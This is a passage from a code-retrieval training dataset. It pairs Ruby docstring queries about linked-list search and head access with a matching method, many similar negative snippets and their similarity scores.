"0.65817183",
"0.65805936",
"0.65805936",
"0.65797347"
] |
0.74416864
|
7
|
Public: Find an element by its value and return it. value Ruby object to be inserted into the LinkedList Examples
|
def search(value)
return nil if self.empty?
element = self.head
while element.value != value
if element.next.nil?
return nil
else
element = element.next
end
end
element
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find(value)\n node = @head\n while node\n if node.value == value\n return node\n end\n node = node.next\n end\n\n return nil\n end",
"def find(value)\n end",
"def find(value)\n return nil if @head.nil?\n found = nil\n index = 0\n current_node = @head\n while !node.nil? do\n if node.data == value\n found = true\n break\n end\n index += 1\n current_node = node.next\n end\n found == true ? \"#{value} found at index #{index}!\" : nil\n end",
"def find(value)\n current_node = head\n while current_node != nil\n return current_node if current_node.value == value\n current_node = current_node.next\n end\n nil\n end",
"def find(value)\n self.each {|node| return node if node.value == value}\n end",
"def find(val)\n found = false\n if !self.head\n return nil\n end\n current = self.head\n while current.next\n if current.value == val\n found = true\n break\n end\n current = current.next\n end\n found ? current : nil\n end",
"def find(value)\n node = @head \n for i in 0..@size-1 \n return i if node.value == value\n node = node.link \n end\n return nil\n end",
"def find_item value\n self.find { |item| item.value == value }\n end",
"def find(val)\n self.each {|n| return n if n.data == val }\n end",
"def find_value(value) \n find { |item| item.data == value }\n end",
"def find(needle)\n #return the Node object whose value == needle\n node = @head\n while node\n return node if node.value == needle\n node = node.next\n end\n #Return nil if cannot find it\n nil\n end",
"def find(head, value)\n\n return false\nend",
"def find_by_value(value)\n by_value[value]\n end",
"def find_by_value(value)\n by_value[value]\n end",
"def find_node(value)\n current = @anchor.next_node\n while current != @anchor\n return current if current.value == value\n current = current.next_node\n end\n end",
"def find(key)\r\n \t\t\t# Start at beginning of the List\r\n \t\t\tcurrent = @head\r\n \t\t\t# Go through list until nil\r\n\t\t\twhile current\r\n\t\t\t\t# If matching key is found return value at node\r\n\t\t\t\tif current.key == key\r\n\t\t\t\t\treturn current.value\r\n\t\t\t\tend\r\n\t\t\t\t# Go to next node\r\n\t\t\t\tcurrent = current.next\r\n\t\t\tend\r\n \t\tend",
"def find(name)\n list[name]\n end",
"def find(value)\n return nil if @head.nil?\n i = 0\n node = @head\n limit = size - 1\n limit.times do\n break if node.data == value\n i += 1\n node = node.next_node\n end \nif node.data == value\n \"#{value} is located in index number #{i}.\"\n i\nelse \n puts \"the given value is not on the list.\"\nend\nend",
"def find_value(value)\n return find() do |item| # find is an enumerable that takes a block - passes each entry in enum to block\n item.data == value # and returns the first for which block is NOT false. So here we say return what we\n end # the first item of which the data matches the value\n end",
"def find(value)\n idx = 0\n node = list\n while node != nil\n return idx if node.value == value\n idx += 1\n node = node.nextNode\n end\n return nil\n end",
"def find(value)\n if head == nil\n nil\n else\n tmp = head\n i = 0\n while tmp != nil && tmp.value != value\n tmp = tmp.next_node\n i += 1\n end\n if tmp == nil\n \"The value is not in the list\"\n else\n i\n end\n end\n end",
"def find_by_value(value)\n return nil if value.nil? || self.size == 0\n stop_node = self.head\n target = stop_node\n while target && !target.match_by_value(value)\n target = target.next\n break if stop_node.equal?(target)\n end\n target = nil unless target && target.match_by_value(value)\n target\n end",
"def find(needle) # returns the node with value=value or nil if not found\n next_node = @head\n while next_node && next_node.needle != needle\n next_node = next_node.next\n end\n next_node\n end",
"def find_ele_by_predicate(class_name: '*', value:)\n elements = find_eles_by_predicate(class_name: class_name, value: value)\n raise _no_such_element if elements.empty?\n\n elements.first\n end",
"def find(input, property, value); end",
"def find(value)\n i = 1\n current_node = @head\n while current_node != nil do\n return i if current_node.data == value\n current_node = current_node.next\n i += 1\n end\n return nil\n end",
"def get_value(value)\n if @head == nil #Comprobamos si la lista no esta vacía\n raise RuntimeError, \"Lista vacía, no se puede extraer nodo\"\n else\n\t\t i = @tail\n\t\t @valor=nil\n\t\t while i != nil\n\t\t if i.value == value\n\t\t @valor = i.value\n\t\t end\n\t\t i = i.next\n\t\t end\n end\n @valor\n end",
"def search(aList, aValue)\n temp = aList.first\n pos = -1\n t = 0\n while !temp.nil?\n if temp.value == aValue\n pos = t\n end\n temp = temp.next\n t += 1\n end\n return pos\nend",
"def find(value)\n if @head.nil?\n 'List is empty'\n else\n current_node = @head\n index = 0\n until current_node.nil?\n\n if current_node.value == value\n return index\n else\n current_node = current_node.next_node\n end\n\n index += 1\n end\n end\n nil\n end",
"def locate val\n ArelExtensions::Nodes::Locate.new [self, val]\n end",
"def find(value, current_index = 0, node = @head)\n return nil if node.nil?\n return current_index if node.value == value\n\n find(value, current_index + 1, node.next_node)\n end",
"def search(aValue)\r\n temp = @first\r\n position = -1\r\n currentPos = 0\r\n while !temp.nil?\r\n if temp.value == aValue\r\n position = currentPos\r\n end\r\n currentPos = currentPos + 1\r\n temp = temp.next\r\n end\r\n return position\r\n end",
"def find(value)\n key = \\\n if value.to_s =~ /^[0-9\\.]*$/\n default_search_param + \"id\"\n else\n default_search_param\n end\n\n where(key => value).first\n end",
"def find(value)\n index = 0\n temp = @head\n while temp\n return index if temp.value == value\n index += 1\n temp = temp.next_node\n end\n nil\n end",
"def search(value)\r\n current = @head\r\n \r\n until current.nil? \r\n return true if current.data == value\r\n current = current.next\r\n end\r\n \r\n return false\r\n \r\n end",
"def find(value)\n return binary_search(value)\n end",
"def get(element)\n i = element.hash % @table.size\n node = @table[i]\n while node\n return node.item if element == node.item\n node = node.next\n end\n return nil\n end",
"def find(value,node=head)\n return 0 unless self.contains?(value)\n head\n loops = 0\n until @current_node.next == nil do\n if @current_node.data == value\n return loops\n end\n self.next_node\n loops += 1\n end\n return loops\n end",
"def find_node(value)\n return false if @head.nil?\n curr_node = @head\n match = false\n while curr_node\n break if match = (curr_node.value == value)\n curr_node = curr_node.next\n end\n\n match\n end",
"def search(value)\r\n cursor = @head\r\n while cursor\r\n return true if cursor.data == value\r\n cursor = cursor.next\r\n end\r\n return false\r\n end",
"def find(value)\n find_root @indices.fetch(value)\n end",
"def find\n Capybara.find(@value[:type], @value[:value])\n end",
"def search(aValue)\r\n temp = @first\r\n indexValue = 0\r\n while !temp.nil?\r\n if temp.value == aValue\r\n return indexValue\r\n end\r\n indexValue += 1\r\n temp = temp.next\r\n end\r\n return -1\r\n end",
"def find(data)\n @array.each do |element|\n return @array.index(element) if element.value == data\n end \n return nil \n end",
"def find(value)\n return nil if head.nil?\n\n index = 0\n curr = head\n until curr.nil?\n return index if curr.value == value\n\n index += 1\n curr = curr.next\n end\n nil\n end",
"def find(identifier)\n # start at the begining of the list\n current = @first_node\n previous = @first_node\n \n if not list_empty?\n while current.identifier != identifier \n # advance the node one along\n previous = current\n current = current.next \n\n # we need to exit the while loop if the next node is nil\n # as the list has reached the end of the line\n return nil if (current == nil) \n end\n\n # we want to yield the previous and current pointer if a block is\n # given so that we cna toy around with indexing and identifiers\n yield(previous, current) if block_given?\n \n # return the current node as we have a hit\n return current\n end\n end",
"def search(value)\n current = @head\n while current != nil\n if current.data == value\n return true\n end\n current = current.next\n end\n\n return false\n end",
"def find(value)\n current_node = @head\n counter = 0\n until current_node.nil?\n return counter if current_node.value == value\n\n current_node = current_node.next_node\n counter += 1\n end\n nil \n end",
"def search(value)\r\n temp = @first\r\n index = 0\r\n while !temp.nil?\r\n if temp.value == value\r\n return index\r\n end\r\n temp = temp.next\r\n index += 1\r\n end\r\n return -1\r\n end",
"def search_cell_by_value(value)\n return nil if self.last.nil?\n \n tail = self.last\n \n while true\n if tail.value == value\n return tail\n elsif tail.successor\n tail = tail.successor\n else\n return nil\n end\n end\n end",
"def find_ele_by_predicate_include(class_name: '*', value:)\n elements = find_eles_by_predicate_include(class_name: class_name, value: value)\n raise _no_such_element if elements.empty?\n\n elements.first\n end",
"def get(x)\r\n if (x.kind_of?(Hashable))\r\n # get the objects key\r\n pos = position(x) # get key\r\n found = @array[pos].get(x) # look in key\r\n if (found.to_s == nil)\r\n raise RuntimeError, \"Element does not exist\"\r\n else\r\n return found # returns object in hash table\r\n end\r\n else\r\n raise ArgumentError, \"Argument not of type Hashable\"\r\n end\r\n end",
"def find_node(value)\n met_resp = find_node_support(value)\n return nil if met_resp[:node].nil?\n\n met_resp[:node]\n end",
"def find_node(value)\n met_resp = find_node_support(value)\n return nil if met_resp[:node].nil?\n\n met_resp[:node]\n end",
"def search(aValue)\n temp = @first\n indexValue = 0\n while !temp.nil?\n if temp.value == aValue\n return indexValue\n end\n indexValue += 1\n temp = temp.next\n end\n return -1\n end",
"def search(value)\r\n return false if !@head\r\n\r\n curr = @head \r\n while curr\r\n if curr.data == value \r\n return true \r\n else\r\n curr = curr.next\r\n end\r\n end\r\n\r\n return false\r\n end",
"def find(thing)\n case thing\n when Symbol\n find_by_tag(thing)\n when String\n find_by_string(thing)\n when Array\n find_by_string(thing.join(' '))\n when Node\n thing\n end\n end",
"def find(data)\n return nil if @head.nil?\n\n self.each_with_index do |current, ind| \n return ind if current.data == data\n end \n \t return nil # not found\t\n end",
"def find(val)\n return val if root?(val)\n parent[val] = find parent[val]\n end",
"def find(key)\n find_node(checked_get_node(key))\n end",
"def find(value) \n index = 0\n node = @head\n while(node.value != value)\n node = node.next_node\n index += 1\n if(node.value == value)\n return index\n end\n if(node == @tail) && (node.value != value)\n return nil\n end\n end\n return 0 \n end",
"def find(data)\n return nil if @size ==0\n node = @root\n for i in 0...@size \n if node.value == data\n \treturn i\n end\n node=node.next_node\n end\n return nil\n end",
"def find(name); end",
"def XOlookFor(tag, tvalue, wait)\n\t\tres= OK\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# default is OK\n\t\turl= @wwBrws.url.to_s\n\t\t$pfd.tstart( url)\n\t\t$alog.lwrite(('LookForElement '+tag.to_s+' with value /'+tvalue+'/'), 'DEBG')\n\t\tbegin\n\t\t\t(wait ? self.setPageTimer() : self.clearPageTimer()) \t\t\t\t# set or clear the page timer\n\t\t\tfinished= false\n\t\t\tuntil (self.getPageTimer() || (finished=findElement(tag, tvalue)))\n\t\t\t\tsleep TIMETICK\n\t\t\tend\n\t\t\tif(findElement(tag, tvalue))\n\t\t\t\t$pfd.calcApplRes(true,'OK: '+tag.to_s+' found:/'+tvalue+'/', url)\n\t\t\t\tres= OK\n\t\t\telse\n\t\t\t\tmsg= tag.to_s+' not found. Value: /'+tvalue+'/ '+$!.to_s\n\t\t\t\tres= setResCritical( msg)\n\t\t\tend\n\t\trescue\n\t\t\tmsg= tag.to_s+' not selectable. Value: /'+tvalue+'/ '+$!.to_s\n\t\t\tres= setResCritical( msg)\n\t\tend\n\n\t\treturnRes (res )\n\tend",
"def find(value, node = root)\n return node if node.nil? || node.data == value\n \n value < node.data ? find(value, node.left) : find(value, node.right)\n end",
"def method_missing(name, *args)\n obj = find(name.to_s)\n if obj\n return obj.value\n else\n return nil\n end\n end",
"def find (data)\n current_node = @head\n\n while current_node\n return current_node if current_node.data == data\n current_node = current_node.next\n end\n\n return nil\n end",
"def find item\n\tend",
"def find_node(index)\n\n\t\t#start at the head\n\t\tcounter = 0\n\t\tcurrent_node = @head\n\n\t\t# crawl to index position\n\t\t# outputs each node value for visibility\n\t\twhile counter < index\n\t\t\tcurrent_node = current_node.next\n\t\t\tcounter += 1\n\t\tend\n\n\t\tputs \"Found node at index #{index} with value: #{current_node.data}\"\n\t\tcurrent_node\n\tend",
"def find(value, node = @root)\n if node.nil?\n return nil\n end\n\n if value < node.value\n return find(value, node.left_node)\n elsif value > node.value\n return find(value, node.right_node)\n else\n return node\n end\n end",
"def find(value)\n result = -1\n @inner.each_with_index do |item, index|\n if value == item\n result = index\n break\n end\n end\n return result\n end",
"def find(sess, what, *args) #:nodoc:\r\n get(sess, *args)\r\n end",
"def find(value)\n curr = @root\n while curr\n return curr if curr.data == value\n\n if value < curr.data\n curr = curr.left\n elsif value > curr.data\n curr = curr.right\n end\n end\n curr\n end",
"def find_by_name(name)\n # this works because of `def item.=='\n item = @set.find { |c| c == name }\n item\n end",
"def depth_first(value_to_find)\r\n @children.each do |child|\r\n found_node = child.depth_first(value_to_find)\r\n if found_node != nil\r\n return found_node\r\n end\r\n end\r\n\r\n if payload == value_to_find\r\n return self\r\n else\r\n return nil\r\n end\r\n end",
"def find(id)\n # Your code Here\n # puts \"you are looking for id: #{id}\"\n @candidates.each do |candidate|\n if candidate[:id] == id\n return candidate\n end\n end\n return nil\nend",
"def find(loc, data)\n list.find(loc, data)\n end",
"def find(a) \n until @id[a] == a\n a = @id[a]\n end\n return a\nend",
"def search key\r\n #start searching from the head (if the head is NULL, get out of the function and return NULL)\r\n node = @head\r\n #while there's still any unsearched node in the list (you haven't reach the end of the list) and the wanted node hasn't been found\r\n while (node != nil) && (node.get_value != key)\r\n #search the wanted node linearly using the next pointer\r\n node = node.get_next_node\r\n #You MUST keep the order of the logical checking or you'll get an error for trying to check the key of NULL\r\n end\r\n #return a pointer to the wanted node (if no node with the key appears in the list, this will return NULL)\r\n return node\r\n end",
"def find(id)\n # Your code Here\n @candidates.each do |element|\n \tif element[:id] == id\n \t\tpp element\n \tend\n end\n pp nil\n\nend",
"def find_by_value_str(value_str)\n value_str = value_str.to_s\n by_value.each do |value, instance|\n return instance if value_str == value.to_s\n end\n nil\n end",
"def find(value)\n \n index = findIndex(value)\n return nil if ! index\n result = at(index)\n\n if index == 0\n offset = value\n else\n offset = value - result[1]\n end\n \n [index, result[0], result[1], result[2], offset]\n end",
"def breadth_first(value_to_find)\r\n current_node = self\r\n queue = MyQueue.new \r\n\r\n while current_node != nil\r\n if current_node.payload == value_to_find\r\n return current_node\r\n end\r\n current_node.children.each do |child|\r\n queue.enqueue(child)\r\n end\r\n current_node = queue.dequeue\r\n end\r\n end",
"def linearSearch(array,value)\n array.each do |element|\n if element == value\n return value\n end \n end\n return \"not found\"\nend",
"def find(id)\n @candidates.each do |candidate|\n if id == candidate[:id] \n return candidate\n end\nend\n\n nil\nend",
"def find_item(reference)\n\t\t@items.detect{|i| i.reference == reference}\n\tend",
"def find_node(index)\n counter = 0\n current_node = @head\n\n while counter < index\n current_node = current_node.next\n puts \"Iterating through index #{counter} to find #{index}\"\n counter += 1\n end\n puts \"Found node at index #{index} with value: #{current_node.word}\"\n current_node\n end",
"def find(value, current_node = root)\n return current_node if current_node.nil? || current_node.value == value\n value < current_node.value ? find(value, current_node.left) : find(value, current_node.right)\n\n end",
"def find(id)\n @candidates.each do |person|\n if person[:id] === id\n return person\n end\n end\n return nil\nend",
"def [](value)\n Placeholder.resolve(node_data[value.to_s])\n end",
"def search(value, current=@head)\r\n return false if current.nil?\r\n return true if current.data == value\r\n search(value, current.next)\r\n end",
"def fetch_value(value); end",
"def find_by_id(input, value)\n hash = nil\n input.each do |input|\n if input[:id] == value\n hash = input\n end\n end\n hash\nend",
"def find id\n @objs_list[id] if @objs_list\n end",
"def find(value, column=nil)\n column = header.first unless column\n \n rows.each do |row|\n return row if row.value_at(column) == value\n end\n \n return nil\n end",
"def find(key)\n node = find_node(key)\n (node == nil ? nil : node.value)\n end",
"def find(attribute, match, value)\n search = search_with_store(self.store, attribute, match, value)\n error_ptr = Pointer.new(:id)\n searchResults = search.searchObjectsWithReturnType(NSFReturnObjects, error:error_ptr)\n raise NanoStoreError, error_ptr[0].description if error_ptr[0]\n searchResults.values\n end",
"def find_at(index)\n return if (index + 1) > count || index < 0\n\n item = @head\n index.times { item = item.next }\n item.value\n end",
"def find(id)\n @data[id]\n end",
"def find(id)\n puts id\n @candidates.each do |candidate|\n if candidate[:id] == id \n return candidate\n end\n end\n puts \"No candidate found with that ID\"\n return nil\nend"
] |
[
"0.76592875",
"0.7566252",
"0.74363905",
"0.7427008",
"0.73797315",
"0.7361095",
"0.73133385",
"0.72652996",
"0.7193135",
"0.714534",
"0.71392184",
"0.7052441",
"0.70175",
"0.70175",
"0.6925433",
"0.6877331",
"0.6828829",
"0.68132126",
"0.6773499",
"0.6702194",
"0.6679808",
"0.6660583",
"0.6652709",
"0.6646219",
"0.66155046",
"0.6602072",
"0.6596066",
"0.65916806",
"0.6585964",
"0.65575093",
"0.6532763",
"0.65071625",
"0.6501249",
"0.6488215",
"0.64864695",
"0.6483096",
"0.64462775",
"0.64173263",
"0.64106584",
"0.64012027",
"0.6397851",
"0.6395577",
"0.62972957",
"0.6277031",
"0.6268005",
"0.62642837",
"0.6256405",
"0.6224625",
"0.6220693",
"0.6201836",
"0.6192153",
"0.61830556",
"0.6173889",
"0.6173889",
"0.61733097",
"0.6171867",
"0.61655575",
"0.61484104",
"0.613244",
"0.612968",
"0.6107366",
"0.6090107",
"0.6089919",
"0.60538465",
"0.6052522",
"0.6049565",
"0.6040994",
"0.60358447",
"0.60324544",
"0.6031888",
"0.60182196",
"0.60041714",
"0.60030735",
"0.5994351",
"0.59882414",
"0.59847",
"0.5981597",
"0.5975712",
"0.59475255",
"0.5946975",
"0.59416753",
"0.5937483",
"0.59305525",
"0.5914581",
"0.5891025",
"0.5890274",
"0.5888895",
"0.5886956",
"0.58827454",
"0.5881405",
"0.58812684",
"0.5880917",
"0.5876869",
"0.58734316",
"0.5871732",
"0.5870835",
"0.58643603",
"0.5863028",
"0.5862984",
"0.58618015"
] |
0.71639276
|
9
|
Public: Gets the Node at the head of the LinkedList. Examples
|
def item_at_head
@head.next
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def head\n \t\tbegin\n \t\t raise \"Empty LinkedList\" if @size <= 0\n \t\t return @head.data\n\t\t rescue \n\t\t puts \"Empty\"\n\t\t end\n \tend",
"def node_first\n @head\n end",
"def get_head\n return nil if @head.nil?\nnode = @head\nnode.data\nend",
"def first\n # return value if head node is set\n if !@head.nil?\n @head.value\n else\n # otherwise raise an exception\n raise \"List is empty\"\n end\n end",
"def head_node\n return nil unless valid?\n\n head_node = @nodes.select { |n| n.is_shadow? }.compact\n \n # TODO: is the last guard necessary?\n head_node.empty? ? nil : head_node[0]\n end",
"def get_head\n nekst = @next_object\n @next_object = get_next_for(nekst)\n return nekst\n end",
"def get_first\r\n # if the list is empty, head is nil\r\n if @head.nil?\r\n return nil\r\n else \r\n value = @head.data\r\n return value\r\n end\r\n end",
"def head\n if @head.nil?\n nil\n else\n at_index(0)\n end\n end",
"def head\n @current_node = @head\n end",
"def first\n @head.lru_next\n end",
"def head\n\t\t\t@head.next\n\t\tend",
"def get_Head()\n return @head\n end",
"def first\n @head\n end",
"def get_first\n current = @head\n return nil if current.nil?\n \n return @head.data\n end",
"def get_first\n if @head == nil\n return nil\n else\n return @head.data\n end\n end",
"def get_first\n return nil if head.nil?\n return head.data\n end",
"def head\n return @head\n end",
"def get_first\n @head == nil ? nil : @head.data\n end",
"def get_head\n raise \"Not implemented\"\n end",
"def get_first\n return @head if @head.nil?\n\n return @head.data\n end",
"def test_returns_the_head_value\n @list.append(@node_1)\n\n return_value = @list.head\n\n assert_equal @node_1, return_value\n end",
"def add_first(data)\n\n new_node = Node.new(data) # create a new node\n new_node.next = @head # assign the new node's NEXT to the @head\n @head = new_node # assign the head position to the new node\n end",
"def head\n @head ||= node.attr(:head).to_i\n end",
"def insert_head(node_value)\n # If the SLL is empty, create a node with the given value and set it to head\n if empty?\n @head = Node.new(node_value)\n else\n # Otherwise, hold the head in a temporary var\n hold = @head\n # Create a new node and set it as the head\n @head = Node.new(node_value)\n # Set the next prop on the new head to point to the hold var\n @head.next = hold\n end\n\n # Increment size by 1, regardless of how many nodes exist\n @size += 1\n # Return the new head; alternatively, return self to make the methods chainable\n @head\n end",
"def add_first(data)\n new_node = Node.new(data)\n new_node.next = @head\n @head = new_node\n return @head.data\n end",
"def get_first\r\n if @head \r\n return @head.data\r\n else \r\n return nil\r\n end\r\n end",
"def head\n ->(xs) { xs[0] }\n end",
"def head\n return nil if @head.nil?\n @head.data\n end",
"def head\n @list\n end",
"def add_first(value)\n new_node = Node.new(value)\n\n if @head != nil # if linked list is not empty\n new_node.next = @head\n end\n\n @head = new_node\n end",
"def get_first\n \n return nil if @head.nil?\n return @head.data\n \n end",
"def head\n\t\treturn @head\n\tend",
"def head\n return @head.value\n end",
"def get_first\n @head.nil? ? nil : @head.data\n end",
"def get_first\n return nil if !@head\n return @head.data\n end",
"def add_first(data)\n # Create a new node\n new_node = Node.new(data)\n if @head.nil?\n @head = new_node\n return\n end\n\n new_node.next = @head \n # conection between the new node and the next one that is the head.\n @head = new_node # The new node becomes the head.\n\n end",
"def get_first\n return nil if @head.nil?\n return @head.data\n end",
"def extract_head () # extraemos por cabeza ( este es el que usaremos para practica 7)\n if (@head==nil)\n puts \"Sin elementos en la lista\"\n else\n\t\taux = @head\n @head = @head.nest\n\t aux.nest = nil\n\t if(@head== nil)\n\t\t @tail=nil\n\t else\n \t@head.prev = nil\n\t end\n\t return aux\n \n end\n end",
"def get_first\n return nil if @head.nil?\n\n return @head.data\n end",
"def get_first\n return nil if @head.nil?\n\n return @head.data\n end",
"def get_first\n return @head.data if @head\n return @head\n end",
"def head\n @head.nil? ? nil : @head.value\n end",
"def add_first(data)\n new_node = Node.new(data, @head)\n\n @head = new_node\n\n return new_node\n end",
"def get_first\n return head ? head.data : nil\n end",
"def extract_head()\n if @head.nil?\n raise RuntimeError, \"La lista está vacía\"\n else\n if @head == @tail\n @head, @tail = nil\n else\n @head = @head[:next]\n @head[:prev] = nil\n end\n\n end\n end",
"def head\n nil\n end",
"def add_first(data)\n new_node = Node.new(data)\n new_node.next = @head\n @head = new_node\n end",
"def add_first(data)\n new_node = Node.new(data)\n new_node.next = @head\n @head = new_node\n end",
"def add_first(value)\r\n current = @head\r\n # add new node with provided value and set next to current\r\n new_node = Node.new(value, current)\r\n # new node becomes head\r\n @head = new_node\r\n end",
"def get_first\n return @head.nil? ? nil : @head.data\n end",
"def get_first\n return @head.nil? ? nil : @head.data\n end",
"def add_first(data)\n first = Node.new(data, head)\n @head = first\n end",
"def initialize(headNode = nil)\n @head = headNode\n end",
"def first\n\t\t@head.info if !@head.nil?\n\tend",
"def add_first(data)\n @head = Node.new(data, head)\n end",
"def add_first(data)\n new_node = Node.new(data, nextNode = @head)\n @head = new_node\n end",
"def extract_head\n raise \"Error la lista no puede estar vacia\" unless (@nodos > 1)\n @nodos = @nodos-1\n segundo = @head.next\n segundo.prev = nil\n oldhead = @head\n @head = segundo\n oldhead\n end",
"def get_first\n return @head ? @head.data : nil\n end",
"def head\n @head.value\n end",
"def add_first_node(data)\n\t\t@head = Node.new(data, nil)\n\t\t@last = @head\n\tend",
"def add_first(data) \n @head = Node.new(data, @head)\n end",
"def get_first\r\n return @head ? @head.data : nil\r\n end",
"def head\n @head.value if @head\n end",
"def add_first_node(data)\n @head = Node.new(data, nil)\n @tail = @head\n end",
"def list_first(list)\n list.head.data unless list.head.nil?\nend",
"def peek_first\n raise 'No such element' if @size == 0\n @head.value\n end",
"def add_first(data)\n @head = Node.new(data, @head)\n end",
"def add_first(data)\n @head = Node.new(data, @head)\n end",
"def add_first(data)\n @head = Node.new(data, @head)\n end",
"def get_first\r\n @head&.data\r\n end",
"def find_min\n if @head == nil # empty list case\n # puts \"Error: The linked list is empty. Cannot compute min.\"\n return nil\n end\n\n current = @head\n min = current.data\n current = current.next\n while current != nil\n if current.data < min\n min = current.data\n end\n current = current.next\n end\n return min\n end",
"def getNthNode(head, n)\n ptr = head\n (0...n).each { |i| ptr = ptr.next }\n ptr\n end",
"def add_first(value)\r\n @head = Node.new(value, @head)\r\n end",
"def delete_head\n # If the SLL is empty, there's nothing there other than an empty head; return it\n if empty?\n return @head\n elsif @head.next\n # If the head node has a next\n # Set the head to the original head's next, destroying any reference to the original\n @head = @head.next\n else\n # If the head is the only node, just set its value to nil\n @head.value = nil\n end\n\n # Decrement the SLL by 1 in all cases\n @size -= 1 if size > 0\n # Return the new or empty head\n @head\n end",
"def add_first(data)\n new_node = Node.new(value, @head)\n @head = new_node\n end",
"def head\n lambda do |list|\n fail_on_empty! list\n list[0]\n end\nend",
"def head() slot(:head) end",
"def add_first(value)\r\n @head = Node.new(value, @head)\r\n end",
"def insert_head(nodo)\n if (nodo.instance_of? Nodo) == false\n nodo = Nodo.new(nodo,nil,nil)\n end\n raise \"Error la lista debe contener nodos\" unless ( nodo.instance_of? Nodo )\n nodo.next = @head\n @head.prev = nodo\n nodo.prev = nil\n @nodos = @nodos +1\n @head = nodo\n end",
"def first\n\t\traise \"ContainerEmpty\" if @head.nil?\n\t\t@head\n\tend",
"def first\n @head.val\n end",
"def add_first(value)\r\n new_node = Node.new(value, @head)\r\n @head = new_node\r\n end",
"def node_at(index)\n node = head\n index.times { node = node.next_node }\n node\n end",
"def head(obj); end",
"def head\n return @head.data\n end",
"def head(number)\n number.first\nend",
"def insertHead(node)\n \n if !@head\n @head = node\n else\n node.next = @head\n @head = node\n end\n \n end",
"def add_node_front(input)\n if !@head\n @head = Node.new(input)\n else\n temp = @head\n @head = Node.new(input)\n @head.next = temp\n end\n end",
"def at(index) \n if(index == 0)\n return @head\n end\n count = 0\n node = @head\n while(node.next_node != nil)\n node = node.next_node\n count += 1\n if(count == index)\n return node\n end\n end\n return nil\n end",
"def peek\n self.head\n end",
"def lhs\n @head\n end",
"def initialize (head)\n raise \"LinkedList must be initialized with a Node.\" unless head.is_a?(Node)\n \n @head = head\n @tail = head\n end",
"def test_next_node\n list = LinkedList.new\n assert_equal nil, list.next_node\n end",
"def first\n @current = self.head if self.head\n @current.value rescue nil\n end",
"def insert_head(node)\n if @root_node.nil?\n @root_node = node\n else\n @root_node.set_prev(node)\n node.set_next(@root_node)\n @root_node = node\n end\n current_node = @root_node.get_next()\n while current_node\n current_node = current_node.get_next()\n end\n end",
"def test_14a_index_of_first_item\n puts \"test_14a_index_of_first_item\"\n ll = LinkedList.new()\n ll.push(\"foo\")\n ll.push(\"bar\")\n ll.push(\"good\")\n assert_equal(0, ll.index(\"foo\"))\n end",
"def set_head(value)\n @head = new_node(value)\nend",
"def push_head (nodo)\n if @head == nil\n @head = Nodo.new(nodo,nil,nil)\n @tail = @head\n else\n @head.next = Nodo.new(nodo,nil,@head)\n @head = @head.next\n end\n end",
"def add_first(node)\n node.next_node = @head\n @head.prev_node = node unless @head.nil?\n @head = node\n end",
"def find_node_at(index)\n current_index = 0\n node = @head\n until current_index == index\n puts current_index\n node = node.next\n current_index += 1\n end\n puts \"returning node at #{current_index}\"\n node\n end"
] |
[
"0.7804496",
"0.77142227",
"0.7325299",
"0.72290486",
"0.71786255",
"0.71525043",
"0.71004355",
"0.69947225",
"0.6964497",
"0.69456005",
"0.6926135",
"0.6905195",
"0.68381524",
"0.6833448",
"0.6823938",
"0.68092877",
"0.6804971",
"0.6803443",
"0.679368",
"0.6783359",
"0.67735386",
"0.67702574",
"0.6766105",
"0.6733875",
"0.67247605",
"0.66861254",
"0.6679451",
"0.66788316",
"0.6677379",
"0.66576374",
"0.6646864",
"0.66357625",
"0.6634403",
"0.66325676",
"0.66302156",
"0.66237944",
"0.6613104",
"0.6609539",
"0.6600552",
"0.6600552",
"0.65989065",
"0.65878546",
"0.6579974",
"0.6548981",
"0.65475214",
"0.65388805",
"0.6534316",
"0.6534316",
"0.6520427",
"0.65184224",
"0.65184224",
"0.651587",
"0.6504007",
"0.649833",
"0.6485304",
"0.6483349",
"0.64778024",
"0.6461441",
"0.64492494",
"0.6448331",
"0.6436519",
"0.642019",
"0.6412587",
"0.6410967",
"0.64058447",
"0.63936096",
"0.6391751",
"0.6391751",
"0.6391751",
"0.638213",
"0.6379526",
"0.6368916",
"0.6346417",
"0.63447195",
"0.6318066",
"0.6308196",
"0.63001156",
"0.6298025",
"0.62796086",
"0.6275967",
"0.6274371",
"0.62607014",
"0.6253443",
"0.625002",
"0.6244736",
"0.623993",
"0.6219953",
"0.62184817",
"0.6218238",
"0.6212288",
"0.6203095",
"0.6192732",
"0.61754906",
"0.6172682",
"0.6171852",
"0.61657155",
"0.6163599",
"0.61569726",
"0.6129254",
"0.61085767"
] |
0.6273393
|
81
|
Public: Returns the Node at the desired :index. index the Integer index value of Node to return. Examples
|
def item_at(index)
element = self.head
count = 0
while count < index
return nil if element.nil?
element = element.next
count += 1
end
element
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def node_at(index)\n if index >= self.size\n puts \"index out of range.\"\n else\n each_with_index do |node, i|\n return node if index == i \n end\n end\n end",
"def at(index)\n self.traverse_list_with_count do |node, count|\n if count == index\n return node\n elsif count > self.size\n print \"A node at the given index doesn't exist\"\n end\n end\n end",
"def at(index)\n i = 0\n node = @head\n while i < index\n i += 1\n node = node.next_node\n end\n return node\n end",
"def [](index)\n get_node(index).element\n end",
"def get(index) \n assert_in_range index\n node, previous = get_node(index)\n node.value\n end",
"def [](index)\n ret = get_node_at_index(index)\n return ret.value if ret != nil\n return ret\n end",
"def [](index)\n node = find_node(index)\n if node != nil then return node.value else return nil end\n end",
"def at(index) \n if(index == 0)\n return @head\n end\n count = 0\n node = @head\n while(node.next_node != nil)\n node = node.next_node\n count += 1\n if(count == index)\n return node\n end\n end\n return nil\n end",
"def node_at(index)\n node = head\n index.times { node = node.next_node }\n node\n end",
"def at(index)\n if index >= self.size\n puts \"index out of range.\"\n else\n each_with_index do |node, i|\n return node.value\n end\n end\n end",
"def find_node_at(index)\n current_index = 0\n node = @head\n until current_index == index\n puts current_index\n node = node.next\n current_index += 1\n end\n puts \"returning node at #{current_index}\"\n node\n end",
"def at(index)\n idx = 0;\n node = list\n while (node != nil)\n return node if idx == index\n idx += 1\n node = node.nextNode\n end\n nil\n end",
"def at(index)\n node = @head\n index.times do\n node = node.next_node\n return nil if node.nil?\n end\n node\n end",
"def [](index)\n @tree[index]\n end",
